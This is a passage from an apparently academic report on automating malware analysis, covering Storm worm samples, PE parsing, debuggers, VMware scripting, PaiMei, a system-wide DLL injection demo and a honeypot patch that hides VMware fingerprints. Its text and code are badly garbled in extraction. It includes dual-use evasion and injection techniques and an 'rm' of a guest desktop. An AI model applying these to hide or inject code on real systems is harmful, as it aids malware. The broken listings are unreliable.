Figure 12: GreetingCard.exe (packed Storm sample)
52
Figure 13: Video.exe (packed Storm sample)
53
Figure 14: opr01QXR.exe, a packed Storm Variant, (in avast! terms:)
Win32:Tibs-AFJ [Trj]. (a simple decryptor loop)
54
Figure 15: opr01QX2.exe, another packed Storm variant. In avast! terms:
Win32:Tibs-AER [Trj] The code isn’t55visible in this figure (mind the zoom
please), only locations (chunks of code) and the transitions between them.
Figure 16: The imports and exports of Video.exe
changed since before the call?), and if it still has the value of 0, continue to the
decryption setup and loop, if not jump to the end. The exact same structure is
evident in all of the supplied samples, and as the exception that states the rule,
there’s opr01QX2.exe—Mind the number two in the end please (names can be
very confusing, perhaps for a reason).
I found this recent article[22] useful. It describes a peer to peer bot. More
information on different bots can be found in [2, 19].
56
Figure 18: The start of FullStory.exe.
57
Figure 19: Storm: Zooming out, we see a bigger picture of the malware’s struc-
ture. (FullStory.exe unpacked)
58
Figure 20: Storm: A closeup of the last location of FullStory.exe (unpacked).
The graph overview shows the locations and the general flow of control.
59
Figure 22: Storm: (FullStory.exe unpacked) The subroutine at location
409F4F h
60
61
5.5 PolyUnpack
In the terms established in [27], a program is unpack-executing if the instruction
sequence to be executed is something else than the original execution sequence.
Hence, the program has been changed under execution, and an instruction se-
quence has appeared that was not initially a part of the program being run. One
of the underlying challenges here, is to differentiate between instructions and
data; often code will be hidden in values interpreted as data before execution
commenced.
Another good point mentioned in the same article is that by toggling the
Thread Information Block (TIB), IsDebuggerPresent() can be made to return
false. This is because a bit in the TIB indicates whether a program is being
debugged or not. Let us take notice of this, since we might end up modifying
the existing APIs anyway.
In any case, we should expect that the malware would rather execute in an
environment that seems authentic—it might not execute while being debugged
or otherwise instrumented, like being run in a virtual machine. Now if we are
to capture the essence of what is happening on the system when the malicious
code is being executed, we might have to severely modify the system. One
possibility is to hook the API and perform API monitoring47 whilst running the
executable. Another method is to simply run the executable in a debugger.
45 Patching imports are usually necessary in order to make a fully functional image, but this
repeating it here.
47 often called API Spying as stated earlier
62
6 Structural Analysis
Structural Analysis can be performed on both packed and unpacked samples. If
we look at a packed executable we probably cannot tell how it will work once
executed, but we might learn how to unpack it. If the target of the analysis
is an unpacked sample, structural analysis might precisely provide a picture of
what happens on the system—Executables compatible with the PE format will
have imports that show which APIs the program uses; and if we are analysing
network-aware malware, IP addresses of servers might reveal how to stop botnets
48
.
DigestIT (www.kennethballard.com/modules/xproject/index.php?op=viewSummary&pid=2)
Fsum (www.slavasoft.com/fsum/)
These might come in handy when calculating hash values and for doing diffs
between malicious samples.
BinDiff has just been released in version 2 as of this writing. It is an
extension (plugin) of IDA Pro, but is not distributed for free. More information
is available at www.sabre-security.com/products/bindiff.html.
PE Header The file is split between a header part, and the actual executable
file. The executable file is further divided into sections of one of the fol-
lowing types: .text, .data, .idata, .edata, .rsrc .reloc, .bss, .debug. The
”
PE Header includes information such as number of sections, size of code
sections (the total size of all executable sections), address of entry point,
image base address in memory, total size of the entire image and a check-
sum.
Entry Point By changing the entry point malicious code can gain control be-
fore the host. Malware that uses Entry Point Obscuring Techniques[4]
will normally not change this field however; it would simply be too easy
to locate the entry point of the viral code.
48 Knowing the address of the central command server tells us what machine to take down.
If this server is taken down in a standard C&C botnet, the entire network of bots will be
rendered useless.
49 http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf
63
Imports and Exports The functions used by the malicious code must be im-
ported (normally from a DLL). This information can be found in the .idata
section. Similarly, functions that is to be exported from the executable
can be found in the .edata section.
Multiple PE Headers It is possible to have multiple headers; that is, include
an additional PE Header where the first executable payload would nor-
mally resign.
Relocations This is a field normally not used. Some viruses, such as W32.CTX
are known to look for such sections, and overwrite it with viral code.
6.2.1 pefile
pefile is a python module to read and work with PE files, written by Ero Carrera.
It parses files and gives/holds information on the file header, as well as sections’
info and data. See http://dkbza.org/pefile.html for more information on
this very useful tool.
Data is available in the following manner after successful parsing:
pe.OPTIONAL_HEADER.AddressOfEntryPoint
pe.OPTIONAL_HEADER.NumberOfSections
pe.OPTIONAL_HEADER.ImageBase
Iterating through sections or walking the import table becomes fairly easy
50
:
f o r s e c t i o n in pe . s e c t i o n s :
print ( s e c t i o n . Name , hex ( s e c t i o n . V i r t u a l A d d r e s s ) ,
hex ( s e c t i o n . M i s c V i r t u a l S i z e ) , s e c t i o n . SizeOfRawData )
6.2.2 pydasm
pydasm, also created by Ero Carrera, is a python interface to the disassembling
library libdasm. An example usage taken from the readme file is shown below:
import pydasm
offset = 0
while o f f s e t < l e n ( b u f f e r ) :
i = pydasm . g e t i n s t r u c t i o n ( b u f f e r [ o f f s e t : ] ,
pydasm . MODE 32)
print pydasm . g e t i n s t r u c t i o n s t r i n g ( i ,
50 python is wonderful
64
pydasm . FORMAT INTEL, 0 )
i f not i :
break
o f f s e t += i . l e n g t h
This would print the assembly instructions according to the hexadecimal pro-
gram code, which is of course, easier to read; and any tool which is to interpret
program code will have to perform such an operation at some point in time (or
have some other programs do it for them). Any debugger, for instance, will
surely have to disassemble the code in order to provide an interface for setting
brakepoints to the user. Only machines are good at understanding numbers.
6.2.3 madDisAsm
I had to include Madshi’s tool as well, even though it has been mentioned earlier
(in chapter 2). It is a part of the Madshi madCollection. The MadCodeHook
framework uses this disassembler.
6.4 OllyDbg
Well supported debugger, with dozens of available plugins. Is is probably the
most used debugger for the Windows platform today53 . It is shareware, but can
be downloaded and used for free. A good article with more detailed information
is [8].
I will list some plugins below that are relevant to the discussion in this paper.
IsDebuggerPresent Hides OllyDbg from the IsDebuggerPresent API posi-
tion, which can be used by malware to check for the presence of a debug-
ger.
51 IDA’s only downside is that you need a license to use it.
52 articleavailable at http://www.openrce.org/articles/full_view/11
53 This is just a guess
65
OllyBone Break-on-Execute. A plugin that can unpack executables by running
them, and break execution just before the payload receives control.
OllySnake Takes two snapshots; before and after execution. And diffs to find
the code executed between these snapshots.
Universal Hooker Enables intercepting API calls; both calls to APIs residing
in a DLL and any address within the executable.
Both OllyDbg and IDA Pro are great candidates for automating malware
analysis. The next section will present a framework that integrates and builds
on top of them: PaiMei. Its creator, Pedram Amini, says that he hopes this
can do for reverse engineering what Metasploit does for exploit development54 .
And as I have grown to understand, reverse engineering and malware analysis
go hand in hand.
66
7 Automating analysis
In this section I will look into different ways of automating the analysis of
malicious code. This work does not end up in a system that can be implemented;
instead I will present a framework which has the potential of integrating many
of the tools presented in the last chapter. These tools are the ones which are in
use today by malware researchers, and have good support for scripting, which
we are bound to make use of if we are to automate the process of analysis.
7.1 Twisted
This is a powerful event-driven network engine that can be used for just about
anything[35]. I have included this since it seems like a feasible way of im-
plementing an analysis system. The major drawback would be that lack of
analysis-features already available in the framework. This stems from the fact
that this is not initially created with malware analysis in mind—its first use was
a game.
My point is that such a framework will have very good networking features,
which might be useful when analysing bots and network-aware malware in gen-
eral. Its use would be to drive the automation process. Most of the python
tools presented in this report has the potential of working with twisted.
Twisted is very flexible and builds on the concept of callback functions and
errbacks. A special object known as a deferred is passed as the return value of
any called function. The calling thread will then continue immediately. This
deferred -mechanism will then compute the real return value of the function in a
different thread. This might take some time, but when the result is completed,
the callbacks and errbacks registered to the deferred object will be called.
So, following this scenario we can call a notification function every time an
API is called, for instance. In this way we will know that the API has been
used, and we have established the fact that the process (unknown or not) are
using this API). Again, this is the same solution as general unpacking55 .
As pointed out by Paul Craig [9], any program packed or not will have to
consist of x86 instructions when running on the intel x86 platform. This is
another way of saying that even though it is packed, it still has to be runnable.
To take this idea one step further: If the program is written for Windows, it
will have to use the Win32 API—the system functions. We will let the malware
run, but take notice of what functions it uses. If it tries to communicate with
some remote machine over the Internet, we can simulate a response, tap into
the API, and sniff the info it sends out. If the malware is to have any chance of
participating in bot networks, it should probably consider sending some bytes
over the wire at some point in time, but hopefully it will not be able to do so
without us noticing.
7.2 VMware
In the following I will discuss the automation support implemented by VMware
Workstation 6. This has been tested on Windows and Ubuntu Linux. I have
55 which also resembles general decryption, discussed in my project assignment leading up
to this report.
67
found this software to have excellent speed, brilliant snapshot system, and good
scripting possibilities. The latter being the subject of the next few sections.
7.2.1 VIX
Implements a C API to control the execution of virtual machines (running on
the VMware platform)[17, 12]56 . The framework is event-driven, which makes
it asynchronous, and time will elapse as events are created, modified, commu-
nicated between objects, and eventually deleted. An event pump drives this
process forward.
Alternatives to using the VIX API are the vmrun command line tool, and
there is also a Perl implementaion available. On a lower level however, all these
methods makes use of the VMware backdoor described earlier.
Version 1.1 is compatible with Workstation 6, and has been upgraded with
26 new functions. These cover functionality such as creating and deleting files,
listing and modifying running processes on the guest system, open urls from
the guest system, manipulate and revert to snapshots, and run programs and
scripts inside the guest.
For instance, getChild and getParent will make it possible to go back and
forth between different states in a straight forward way. Shared folders makes
sharing data between host and guest simple.
Below is an example of how to use VIX.
I have listed and briefly explained some of the most import functionality
below.
*********************************
Object Types:
*********************************
*********************************
Basic Handle Operations:
*********************************
56 You should also see the VMware Workstation User’s Manual, available in appendix K.7
68
Figure 24: The VIX API
69
AddRef and Release Decrements the reference count and destroys the handle
GetHandleType Returns the type of a specified handle
GetPropertyType (metadata) Returns the property type of a specified prop-
erty ID
GetProperties and SetProperties Returns or Sets the properties of any
handle
*********************************
Basic Host Operations:
*********************************
*********************************
Basic Virtual Machine Operations:
*********************************
*********************************
Guest OS Functionality:
*********************************
Create and Delete files and directories Copy files back and forth between
host and guest system.
Test for existence of files and directories Tests for the existance of files or
directories on the guest system.
70
Get and Set environmental variables Returns or sets specified environmen-
tal variables in the guest
Login and Logout Logs into the guest using a specified password, and logs
out.
*********************************
Basic Job Operations:
*********************************
Code Listing 26: Running a program in the guest from the host system’s com-
mand line using vmrun
runProgramInGUest −gu <g u e s t U s e r >
−gp <g u e s t P a s s > c : \vm\myVM.vmw c : \ program . exe
71
7.2.2 VI SDK
An alternative to VIX is the VI SDK[11], also distributed by VMware, but with
a larger emphasis on use in server-environments[16]. VI SDK comes with ESX
Server and VirtualCenter.
Compared to VIX:
Virtual Machines are managed in a data center
7.3 XYNTService
XYNTService is a Windows service program57 . It is distributed through code-
project, which also has a couple of articles on it[24, 25].
It can be installed and uninstalled from cmd58 , and an .ini file conveniently
saves configuration settings. Once running, the service can stop and restart
(called bounce) processes defined in the config file by enumerating them. Other
services can also be controlled.
72
7.4 Wrapping the vmrun command
Thanks to Pedram Amini for sharing code on his Python servlet in the OpenRCE
forum59 .
“It will be released”, he says, “at some point in the near future, possibly
at BlackHat and along side a book I co-authored called Fuzzing: Brute Force
Vulnerability Discovery”. I have included the book as a reference[26], even
though it has not come out yet (but intellectual property from this reference
has been used below).
@type command : S t r i n g
@param command : VMRun command t o e x e c u t e
’’’
while 1 :
s e l f . l o g ( ” e x e c u t i n g : %s ” % command , 5 )
p i p e = o s . popen ( command )
out = p i p e . r e a d l i n e s ( )
pipe . c l o s e ()
i f not out :
break
e l i f not out [ 0 ] . l o w e r ( ) . s t a r t s w i t h ( ” c l o s e f a i l e d ” ) :
break
s e l f . l o g ( ” f a i l e d e x e c u t i n g command
’% s ’ (%s ) . w i l l t r y a g a i n . ” % ( command , out ) )
time . s l e e p ( 1 )
return ” ” . j o i n ( out )
# #####################################
VMRUN COMMAND WRAPPERS
# #####################################
s e l f . l o g ( ” d e l e t i n g s n a p s h o t : %s ” % snap name , 2 )
return s e l f . vmcommand( ”%s d e l e t e S n a p s h o t %s \”% s \ ””
% ( s e l f . vmrun , s e l f . vmx , snap name ) )
59 where he explains that this is part of a fuzzing framework that he has been working on,
called Sulley
73
def l i s t ( s e l f ) :
s e l f . l o g ( ” l i s t i n g r u n n i n g images ” , 2 )
return s e l f . vmcommand( ”%s l i s t ” % s e l f . vmrun )
def l i s t s n a p s h o t s ( s e l f ) :
s e l f . log ( ” l i s t i n g snapshots ” , 2)
return s e l f . vmcommand( ”%s l i s t S n a p s h o t s %s ”
% ( s e l f . vmrun , s e l f . vmx ) )
def r e s e t ( s e l f ) :
s e l f . l o g ( ” r e s e t t i n g image ” , 2 )
return s e l f . vmcommand( ”%s r e s e t %s ”
% ( s e l f . vmrun , s e l f . vmx ) )
s e l f . l o g ( ” r e v e r t i n g t o s n a p s h o t : %s ” % snap name , 2 )
return s e l f . vmcommand( ”%s r e v e r t T o S n a p s h o t %s \”% s \ ””
% ( s e l f . vmrun , s e l f . vmx , snap name ) )
s e l f . l o g ( ” t a k i n g s n a p s h o t : %s ” % snap name , 2 )
return s e l f . vmcommand( ”%s s n a p s h o t %s \”% s \ ””
% ( s e l f . vmrun , s e l f . vmx , snap name ) )
def s t a r t ( s e l f ) :
s e l f . l o g ( ” s t a r t i n g image ” , 2 )
return s e l f . vmcommand( ”%s s t a r t %s ”
% ( s e l f . vmrun , s e l f . vmx ) )
def s t o p ( s e l f ) :
s e l f . l o g ( ” s t o p p i n g image ” , 2 )
return s e l f . vmcommand( ”%s s t o p %s ”
% ( s e l f . vmrun , s e l f . vmx ) )
def suspend ( s e l f ) :
s e l f . l o g ( ” s u s p e n d i n g image ” , 2 )
return s e l f . vmcommand( ”%s suspend %s ”
% ( s e l f . vmrun , s e l f . vmx ) )
74
# #####################################
EXTENDED COMMANDS
# #####################################
def r e s t a r t t a r g e t ( s e l f ) :
s e l f . l o g ( ” r e s t a r t i n g v i r t u a l machine . . . ”)
def i s t a r g e t r u n n i n g ( s e l f ) :
return s e l f . vmx . l o w e r ( ) in s e l f . l i s t ( ) . l o w e r ( )
def w a i t ( s e l f ) :
s e l f . l o g ( ” w a i t i n g f o r vmx t o come up : %s ” % s e l f . vmx)
while 1 :
if self . is target running ():
break
7.5 pyVIX
pyVIX is a python wrapper of the VIX API, which would be a more robust
way of going about than to wrap vmrun in most cases. It is open source, but
largely undocumented. The VIX interface is however very properly documented
by VMware, and pyVIX will naturally have the same functionality60 I have
included some example usage below that describes the most important use cases:
from py v ix . v i x import *
import time
and C-code.
75
vm . w a i t F o r T o o l s I n G u e s t ( )
# login
vm . l o g i n I n G u e s t ( ’ username ’ , ’ abc ’ )
76
# parameters are the Unix - remove
# program and the attribute is the
# path that I want to remove
vm . runProgramInGuest ( ’ / b i n /rm ’ , ’ / r o o t / Desktop / * & ’ )
print ’ removed . ENTER ’
raw input ( )
# 6. revert to Snapshot
# parameter : Snapshot
vm . r e v e r t T o S n a p s h o t ( s 1 )
print ’ r e v e r t e d . ENTER ’
raw input ( )
# 7. suspend VM
vm . suspend ( )
print ’ suspended . ENTER ’
raw input ( )
# DISADVANTAGE : API doesn ’t have a vm . resume () function .
# Which has the ’ VMware Server Console ’
# cannot just call powerOn () to resume :
# doing this wouldn ’t allow me to use
# waitFTIG () == > no login == > no run Program after vm . powerOn ()
# Windows disadvantages :
# you cannot execute Window - Commands like del , start ,...
# -So for e.g. shutdown I have been using an 3rd - party program
# - batch files
# - maybe better : python - scripts
# (e.g. for deleting files on guest )
77
vm . c l o s e ( )
print ’VM c l o s e d ’
h . close ()
print ’ Host c l o s e d . ENTER ’
raw input ( )
h = Host ( )
vm = h . openVM( ’ / var / l i b /vmware/ V i r t u a l Machines /
WinXP Pro Init 1 / WinXP Pro Init 1 . vmx ’ )
vm . powerOn ( )
vm . w a i t F o r T o o l s I n G u e s t ( )
print ’ o s booted ’
vm . l o g i n I n G u e s t ( ’ username ’ , ’ abc ’ )
print ’ l o g g e d i n ’
raw input ( )
vm . copyFileFromHostToGuest (
’ /home/ t e s t i n g / Desktop / w i n h e l l o . py ’ ,
’ c : \ \ documents and s e t t i n g s \\ d e s k t o p \\ w i n h e l l o . py ’ )
raw input ( )
vm . c l o s e ( )
print ’vm c l o s e d ’
time . s l e e p ( 5 )
vm . l o g i n I n G u e s t ( ’ username ’ , ’ abc ’ )
print ’ l o g g e d i n ’
raw input ( )
78
vm . c l o s e ( )
raw input ( )
h . close ()
7.6 PaiMei
PaiMei is a reverse engineering framework for win32 systems[1]. The reason why
it has such an enourmous appeal to me, is that it is written entirely in Python,
and utilizes many of the tools discussed (independently) in this project. When I
first came across this framework I could hardly belive my own eyes—the frame-
work works as a glue between the most useful analysis programs, effectively
integrating them, and on top of that provides a foundation for writing applica-
tions that can do just the thing we are stribing for. Not only does it provide a
beautiful GUI where you can do the actual coding, it also let’s you design your
own applications on top of it; be it command line utilities or full blown GUI
programs.
The core components of this framework are:
PyDbg A pure Python win32 debugging abstraction class
Following this scenario it will be possible to iterate through the entire module
in the way described below.
f o r f u n c t i o n in module . nodes . v a l u e s ( ) :
# operations on the function level
f o r b a s i c b l o c k in f u n c t i o n . nodes . v a l u e s ( ) :
# operations on the block level
f o r i n s t r u c t i o n s in b a s i c b l o c k . i n s t r u c t i o n s . v a l u e s ( ) :
# operations on the instruction level
79
In effect, we are encoding the binary in a way such that we can traverse it,
and even manipulate it, if we like. In PaiMei, this is accomplished using an
IDAPython script to produce a PIDA file. Analysis can then be performed on
this image, instead of on the original binary file. Pedram Amini says that later
versions of the PaiMei framework might consider using other tools than IDA
Pro to accomplish this task, since it is the only part of the framework that is
not available free of charge.
Some extended components that saves time when building applications on
top of this framework:
Utilites A set of abstraction classes for accomplishing various repetitive tasks.
Console A pluggable WxPython GUI
Scripts The framework ships with scripts to use some of functionality already
built into it.
7.6.1 PyDbg
I included this section because I want to show what PyDbg can be used for in
a concise way. More details can be found in [1].
With PyDbg, processes, modules and threads can be enumerated. APIs such
as attach() and load() are available; as is suspend thread(), and resume thread().
It supports both hardware, software and memory breakpoints, and provides
APIs to set and delete these.
The APIs read() and write() allows you to read and write from/to memory;
memory can be allocated using virtual alloc(). To get a snapshot of the run-
ning process simply use process snapshot(), and to return to a previous stored
snapshot, call process restore().
To pop values on the stack, use the stack unwind() API. PyDbg also has
support for handing Structured Exception Handling (SEH), and an API called
SEH unwind() which does more or less the same as its cousin just mentioned,
only addressing the exceptions. To set a function to be called in case an excep-
tion occurs, PyDbg has the set callback() API.
For disassembling PyDbg uses libdasm (mentioned earlier in this chapter).
The API disasm() is self explanatory. Following this, there are several util-
ity functions that can be useful: flip endian(), func resolve(), hex dump(),
to binary() and to decimal() to mention a few.
7.6.2 Utilities
Some utilities ships with the framework:
Process Stalker Runtime profiling. Traces the running code in order to de-
termine such things as which APIs are called. Also maps states.
Code Coverage Tracks which parts of the code has been run and which has
not.
uDraw Connector Enables dynamic graphing by connecting to udraw(Graph).
DPC: Debugge Procedure Call Allows calling functions in the executable
under analysis.
80
OllyDbg Connector/Receiver Control OllyDbg from a remote machine. (for
instance OllyDbg can run on a virtual machine, and we can control it from
the host) The communication is over TCP.
Proc Peek Test for potentially dangerous sections, like calls to memcpy(), str-
cpy() and strcat(), that can indicate a buffer overflow attack. The modules
attaches to a process and examines data that flow in these sections.
Figure 25 is included to show two things. Firstly, it shows the layout of the
GUI, with buttons on the left hand side where you can change between different
views. The view currently displayed on the figure, is the documentation view.
I have scrolled down a bit to emphasize the second point; the most important
figure of them all: The overall structure of how the framework is composed.
This will more or less sum up the most important points made in this section.
Figure 25: The PaiMei console (GUI), displaying the structure of the framework
81
A MadCodeHook
A.1 System wide hooking example: HookProcessTermi-
nation
The following code shows a system wide hook using Madshi’s MadCodeHook
framework from section 2. The code distributed alongside the framework. The
documentation is largely made up of such demos.
// ***************************************************************
// HookProcessTermination version : 1.0 a date : 2005 -06 -06
// -------------------------------------------------------------
// ask user for confirmation for each ( Nt ) TerminateProcess call
// -------------------------------------------------------------
// Copyright (C) 1999 - 2005 www . madshi .net , All Rights Reserved
// ***************************************************************
#include <windows . h>
#include ”madCHook . h ”
typedef struct
// this is the information record which our dll sends us
TTerminationRequest {
BYTE bSystem ;
CHAR s z P r o c e s s 1 [MAX PATH + 1 ] ;
CHAR s z P r o c e s s 2 [MAX PATH + 1 ] ;
} * PTerminationRequest ;
i f ( * pc1 == ’ \\ ’ ) {
pc1++;
break ;
}
f o r ( pc2 = ptr−>s z P r o c e s s 2 + l s t r l e n A ( ptr−>s z P r o c e s s 2 ) − 1 ;
pc2 > ptr−>s z P r o c e s s 2 ; pc2−−)
i f ( * pc2 == ’ \\ ’ ) {
82
pc2++;
break ;
}
// does the request come from a normal process or from
// a system process ?
i f ( ptr−>bSystem )
pc3 = ”system p r o c e s s ” ;
e l s e pc3 = ” p r o c e s s ” ;
l s t r c p y A ( q u e s t i o n , ”May t h e ” ) ;
l s t r c a t A ( q u e s t i o n , pc3 ) ;
l s t r c a t A ( q u e s t i o n , pc1 ) ;
l s t r c a t A ( q u e s t i o n , ” t e r m i n a t e t h e f o l l o w i n g p r o c e s s ?\ n\n ” ) ;
l s t r c a t A ( q u e s t i o n , pc2 ) ;
// ask the user for confirmation and return the answer to our dll
* answer = ( MessageBox ( 0 , q u e s t i o n , ”Q u e s t i o n . . . ” ,
MB ICONQUESTION | MB YESNO | MB TOPMOST) == IDYES ) ;
} else
// our process is * not * running in the current input desktop
// if we would call MessageBox , it would not be visible to the user
// so doing that makes no sense , it could even freeze up the whole OS
* answer = t r u e ;
}
// ***************************************************************
void HideMeFrom9xTaskList ( )
// quick hack which hides our process from task manager ( works only in win9x )
{
typedef INT (WINAPI * T R e g i s t e r S e r v i c e P r o c e s s ) (DWORD pid , DWORD f l a g s ) ;
// ***************************************************************
INT WINAPI InfoBoxWndProc (HWND window , DWORD msg , INT wParam , INT lParam )
// this is our info box ’ window proc , quite easy actually
{
i f ( msg == WM CLOSE)
return 0 ; // we don ’t accept WM_CLOSE
e l s e i f ( msg == WMCOMMAND) {
DestroyWindow ( window ) ; // we close when the button is pressed
return 0 ;
} else
return DefWindowProc ( window , msg , wParam , lParam ) ;
}
void ShowInfoWindow ( )
// show our little info box , nothing special here
{
WNDCLASS wndClass ;
83
HWND infoBox , l a b e l , button ;
HFONT f o n t ;
MSG msg ;
RECT r 1 ;
84
}
// let ’s Windows clean up the font etc for us
}
// ***************************************************************
OpenSCManagerAFunc OpenSCManagerA ;
OpenServiceAFunc OpenServiceA ;
ControlServiceFunc ControlService ;
StartServiceAFunc StartServiceA ;
CloseServiceHandleFunc CloseServiceHandle ;
result = false ;
// dynamic advapi32 API linking
d l l = LoadLibrary ( ”a d v api3 2 . d l l ” ) ;
OpenSCManagerA = ( OpenSCManagerAFunc )
GetProcAddress ( d l l , ”OpenSCManagerA ” ) ;
OpenServiceA = ( OpenServiceAFunc )
GetProcAddress ( d l l , ”OpenServiceA ” ) ;
ControlService = ( ControlServiceFunc )
GetProcAddress ( d l l , ” C o n t r o l S e r v i c e ” ) ;
StartServiceA = ( StartServiceAFunc )
GetProcAddress ( d l l , ” S t a r t S e r v i c e A ” ) ;
CloseServiceHandle = ( CloseServiceHandleFunc )
GetProcAddress ( d l l , ” C l o s e S e r v i c e H a n d l e ” ) ;
i f ( ( OpenSCManagerA ) && ( OpenServiceA ) &&
( C o n t r o l S e r v i c e ) && ( S t a r t S e r v i c e A ) && ( C l o s e S e r v i c e H a n d l e ) ) {
// first we contact the service control manager
c1 = OpenSCManagerA (NULL, NULL, 0 ) ;
i f ( c1 ) {
// okay , that worked , now we try to open our service
c2 = OpenServiceA ( c1 , serviceName , GENERIC READ | SERVICE START ) ;
85
i f ( c2 ) {
// that worked , too , let ’s check its state
i f ( C o n t r o l S e r v i c e ( c2 , SERVICE CONTROL INTERROGATE, &s s ) ) {
i f ( s s . dwCurrentState == SERVICE STOPPED)
// the service is stopped ( for whatever reason ), so let ’s start it
S t a r t S e r v i c e A ( c2 , 0 , NULL ) ;
// now we wait until the process is in a clear state ( timeout 15 sec )
f o r ( i 1 = 1 ; ( i 1 < 3 0 0 ) ; i 1 ++) {
i f ( ( ! C o n t r o l S e r v i c e ( c2 , SERVICE CONTROL INTERROGATE, &s s ) ) | |
( s s . dwCurrentState != SERVICE START PENDING)
)
break ;
Sleep ( 5 0 ) ;
}
// is it finally running or not ?
r e s u l t = s s . dwCurrentState == SERVICE RUNNING ;
}
C l o s e S e r v i c e H a n d l e ( c2 ) ;
}
C l o s e S e r v i c e H a n d l e ( c1 ) ;
}
}
FreeLibrary ( d l l ) ;
return r e s u l t ;
}
typedef struct
// this is the information record which we send to our injection service
TDllInjectRequest {
BOOL b I n j e c t ;
DWORD dwTimeOut ;
DWORD d w S e s s i o n ;
} * PDllInjectRequest ;
BOOL I n j e c t (BOOL i n j e c t )
// ( un ) inject our dll system wide
{
TDllInjectRequest dir ;
BOOL res ;
BOOL result ;
// first let ’s try to inject the dlls without the help of the service
if ( inject )
result = I n j e c t L i b r a r y (CURRENT SESSION | SYSTEM PROCESSES,
”HookTerminateAPIs . d l l ” ) ;
e l s e r e s u l t = U n i n j e c t L i b r a r y (CURRENT SESSION | SYSTEM PROCESSES,
”HookTerminateAPIs . d l l ” ) ;
if (! result ) {
// didn ’t work , so let ’s try to ask our service for help
// first of all we wait until the service is ready to go
W a i t F o r S e r v i c e ( ”m a d D l l I n j e c t S e r v i c e D e m o ” ) ;
// then we prepare a dll injection request record
dir . bInject = inject ;
86
d i r . dwTimeOut = 5 0 0 0 ;
d i r . dwSession = GetCurrentSessionId ( ) ;
// now we try to contact our injection service
r e s u l t = SendIpcMessage ( ”m a d D l l I n j e c t S e r v i c e D e m o ” ,
& d i r a , s i z e o f ( d i r ) , &r e s , s i z e o f ( r e s ) , 1 5 0 0 0 , t r u e ) && r e s ) ;
}
return r e s u l t ;
}
// ***************************************************************
// ***************************************************************
87
// an example for that can be found in the " HookProcessTermination " demo
MessageBox ( 0 , ”t h e \ ” I n j e c t S e r v i c e \ ” must be i n s t a l l e d f i r s t \n\n ” \
” o t h e r w i s e o n l y a d m i n i s t r a t o r s can run t h i s demo ” ,
” i n f o r m a t i o n . . . ” , MB ICONINFORMATION ) ;
} else
// we have no ipc queue ! probably another instance is already up
MessageBox ( 0 , ” p l e a s e don ’ t s t a r t me t w i c e ” ,
” i n f o r m a t i o n . . . ” , MB ICONINFORMATION ) ;
// FinalizeMadCHook is needed only if you ’re using the static madCHook . lib
FinalizeMadCHook ( ) ;
return t r u e ;
}
88
B Honeynet VMware Patch
/*
* Honey - VMware patch
* (c) Kostya Kortchinsky < kostya ( dot ) kortchinsky [ at ] renater ( dot )fr >
*
* French Honeynet Project < http :// www . frenchhoneynet . org />
* CADHo Project < http :// www . eurecom . fr /~ dacier / CADHO />
*
* BACKUP YOUR VMWARE - VMX BINARY BEFORE USING THIS PATCH !
*
* gcc - Wall -lz -o NEW_VMpatch NEW_VMpatch .c # ZLib is needed !
*
* Here are a few considerations on how to increase furtivity of VMware in
* the context on honeypots . Of this is far from perfect as there still
* remain a lot of ways to fingerprint a virtual host .
*
* 1) The I/O backdoor
* Just check " VMware ’s back " page , it is well documented there .
* This patch can disable it , or if you are smart enough , you can change
* the magic number to hide it .
* 2) The MAC address
* VMware has 3 registered OUIs that will allow anyone to easily
* fingerprint a NIC ( locally , on a local network , or through SMB ).
* This patch will allow you to change the default OUI 00:0 c :29 to the
* one of your choice . Keep in mind that the NIC is supposed to be an
* AMD PCNet32 .
* 3) The video adapter
* Well since the emulated video adapter has its PCI IDs related to
* VMware , we will fix that . We won ’t only change the IDs , we will
* fully replace the video adapter bios . In order to do so , you must
* dump a working video bios . Of course , not all the bioses will work
* in VMware , you will have to test . You can use for example :
* - S3_Inc . _ViRGE_DX_or_GX . bios
* - ...
* 4) The CDROM device
* There is no need to patch anything for that . Just set up a generic
* SCSI device (/ dev / sg *) linked to your physical CDROM device ( use SCSI
* emulation if needed ), choose it as your CDROM device and it will do
* the job .
*
* You must not use this patch if you have already installed virtual hosts
* since it will probably screw some stuff . It is a lot wiser to freshly
* install new hosts after having applied the patch .
*
* PLEASE READ THE CODE AND COMMENTS !
*
*/
89
#include < z l i b . h>
#include < f c n t l . h>
#include <s y s /mman. h>
#define VERSION 0 . 2 . 0 a l p h a 1
typedef struct
{
char * name ;
unsigned long i n t c r c 3 2 ;
} vmwareVersion ;
i n t v e r s i o n = −1;
unsigned char * vmxBinary = NULL, * vmmBinary = NULL;
E l f 3 2 E h d r * vmxEhdr = NULL, *vmmEhdr = NULL;
E l f 3 2 S h d r * vmxShdr = NULL, * vmmShdr = NULL;
char * vmxShstrtab = NULL, * vmmShstrtab = NULL;
i n t indexText = −1, i n d e x V b i o s = −1, indexVmm = −1,
i n d e x Z t e x t = −1, i n d e x Z r o d a t a = −1;
unsigned char * s e c t i o n V b i o s = NULL, * s e c t i o n Z t e x t = NULL,
* s e c t i o n Z r o d a t a = NULL, * sectionVmm = NULL;
f o r ( p = h a y s t a c k ; p <= ( h a y s t a c k − n s i z e + h s i z e ) ; p++)
i f (memcmp( p , n e e d l e , n s i z e ) == 0 )
return p ;
return NULL;
}
90
a d a p t e r b i o s with t h e one i n f i l e BIOS\n ” ) ;
e x i t (EXIT FAILURE ) ;
}
/*
* int patchIOBackdoor ( void )
*
* This function will disable the I/O backdoor by noping the conditional jump coming
* shortly after the comparison with the magic number (0 x564D5868 ). This comparison
* is located in the VMM binary within its . ztext section . The section has to be
* uncompressed , patched , then compressed again , thanks to zlib .
*
*/
i n t patchIOBackdoor ( void )
{
i n t e r r o r = EXIT FAILURE ;
unsigned long i n t l e n g t h , newLength ;
unsigned char * p , * data = NULL;
const unsigned char i n s t r c m p [ ] = { 0 x81 , 0x7d , 0 x08 , 0 x68 , 0 x58 , 0x4d , 0 x56 } ;
// cmp [ ebp + arg_0 ],’ VMXh ’
const unsigned char i n s t r j z [ ] = { 0 x74 , 0 x5c } ; // jz short loc_XXXXXX
p r i n t f ( ” [ ! ] D i s a b l i n g I /O backdoor \n ” ) ;
l e n g t h = 320 * 1 0 2 4 ;
i f ( ( data = m a l l o c ( l e n g t h ) ) == NULL)
goto end ;
i f ( uncompress ( data , &l e n g t h ,
